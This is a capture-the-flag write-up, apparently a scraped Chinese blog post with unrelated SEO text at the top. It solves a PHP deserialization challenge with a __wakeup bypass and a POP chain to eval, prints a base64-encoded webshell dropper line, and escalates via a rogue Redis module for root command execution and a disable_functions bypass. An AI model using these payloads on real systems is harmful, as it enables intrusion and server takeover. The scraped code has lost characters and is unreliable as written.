wordpress手机编辑器插件下载,河北利用关键词优化网页,松江建设管理中心网站,网页与制作目录 前言
正文
思路
序列化构造 后渗透
思路点1:Redis
思路2:蚁剑插件绕过disable_functinons
结尾
作者的其他文章 前言
说是easy,实际很difficult 正文
思路 ?php
class A{public $code ;function __call($method,$args){//最后执行命令eval($th…目录 前言
正文
思路
序列化构造 后渗透
思路点1:Redis
思路2:蚁剑插件绕过disable_functinons
结尾
作者的其他文章 前言
说是easy,实际很difficult 正文
思路 ?php
class A{public $code ;function __call($method,$args){//最后执行命令eval($this-code);}function __wakeup(){//需要绕过$this-code ;}
}class B{function __destruct(){echo $this-a-a();//这里触发__call方法}
}
if(isset($_REQUEST[poc])){preg_match_all(/[BA]:(.*?):/s,$_REQUEST[poc],$ret);//主要还是匹配传入的序列化语句,其实看AB就能够明白if (isset($ret[1])) {//下面就是设置的waf了,能够明白这玩意需要绕过即可foreach ($ret[1] as $i) {if(intval($i)!1){exit(you want to bypass wakeup ? no !);}}unserialize($_REQUEST[poc]); }}else{highlight_file(__FILE__);
}序列化构造
简单扫一眼,pop构造不难,preg_match根据序列化特性绕过即可
由此
可以写出这样一个文件用于生成可利用的序列化语句
?php
class a{public $code;function __construct(){$this-codesystem(ls);;}
}class b{public $a;
}$anew b();
$a-anew a();
echo serialize($a);
//O:1:b:1:{s:1:a;O:1:a:1:{s:4:code;s:13:system(ls);;}}
接下来将生成的序列化语句内b:1或a:1修改为2
因为是类序列化,所以只要保证含__wakeup方法的类不触发wakeup就行
失败
有可能过滤了system?
进行fuzz测试,发现passthru,exec,shell_exec均被限制,但是传入phpinfo成功 没有flag 看看限制了什么函数 限制死死的........
好家伙
但是没有限制eval,那么突发奇想,传个马进去怎么样 ........好好好
之前还看到有位师傅是怎么传马的,在这里分享一下
fputs(fopen(dotast.php,w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw)); 后渗透 进去后发现权限不够,且虚拟终端由于源码问题无法正常使用 只好看看当前目录给咱留下了啥好东西 index.php就特别正常
至于swp文件就一言难尽了 用web访问下 思路点1:Redis
Redis数据库,且知道密码
用蚁剑插件进行连接 插件可以在这里下载 密码就是you_cannot_guess_it 成功
当然,你现在还是啥也干不了
接下来需要做的是,使用redis指令对目标进行进一步利用
简单举个例子
随便找个db右键开个终端 关于Redis的基础指令,可以看这篇文章
【Redis】Redis基础命令集详解_redis命令-CSDN博客
其实还是有必要了解的,网安可以说是系统工程什么都要会一点
不过大部分情况下都是即学即用是了//DOGE
既然题目除了redis便没有其他可利用的情况,那么我们需要对redis历年的漏洞做一个简单的收集,然后获取这台机子的版本信息做进一步利用
其实他给你封死了,你并没有办法做信息收集 出现这个问题的主要原因是题目构造所造成的缺陷,他既导致了漏洞的产生,也让你后渗透不能太舒服
.......
但是在你连接数据库的时候,在网页目录(var/www/html)会生成一个rdp文件 这样就拿到了redis的版本号
redis 5.x引入了模块系统,允许用户通过加载动态库来扩展 Redis 的功能(使用MODULE LOAD命令)。这些模块可以是 C 语言编写的共享库文件例如 .so 文件当用户使用root权限且没有正确配置模块路径限制hacker可以利用这一点加载恶意模块。
这里可以算是踩雷了
你可以发现他是以root运行的
好的,接下来尝试上传一个so文件进行下一步利用
这样的公开漏洞(而且还上CTF了),csdn,github上找找exp肯定是可以找到的
https://github.com/Dliv3/redis-rogue-server
ok
将exp.so上传 redis导入模块 至于如何使用
仔细点的师傅应该明白
github上的项目往往都存在一个readme.md教大家如何使用 当然,这题我们肯定是无法借助py进行rce的,看看redis-rogue-server.py是怎么写的 这个应该就是用法了
你也可以访问https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
查看这里的exp.so的用法 成功
看flag 思路2:蚁剑插件绕过disable_functinons
当然
这题还有另外一种解法
使用蚁剑的disable_functions绕过插件绕过前面我们在phpinfo上看到的disable_function限制 正常来说,使用LD_PRELOAD就可以成功绕过
不过这题不行 最后尝试后发现只有这两个可以成功绕过 接下来就简单了 就是这样 结尾
至于为什么github.com无法访问
可以尝试尝试将dns改为8.8.8.8,如果还是不行,那就使用黑魔法或者看命把.............................
还有就是
记得在写反序列化脚本的时候把杀软关了,我的火绒看见webshell直接露头就秒................. 作者的其他文章
攻防世界-WEB-catcat-new_攻防世界catcat-new-CSDN博客
攻防世界-WEB-WEIPHP(记一次有趣的代码审计)_攻防世界weiphp-CSDN博客
BugKu-WEB-sodirty_bugku sodirty-CSDN博客
NSSCTF-WEB-pklovecloud-CSDN博客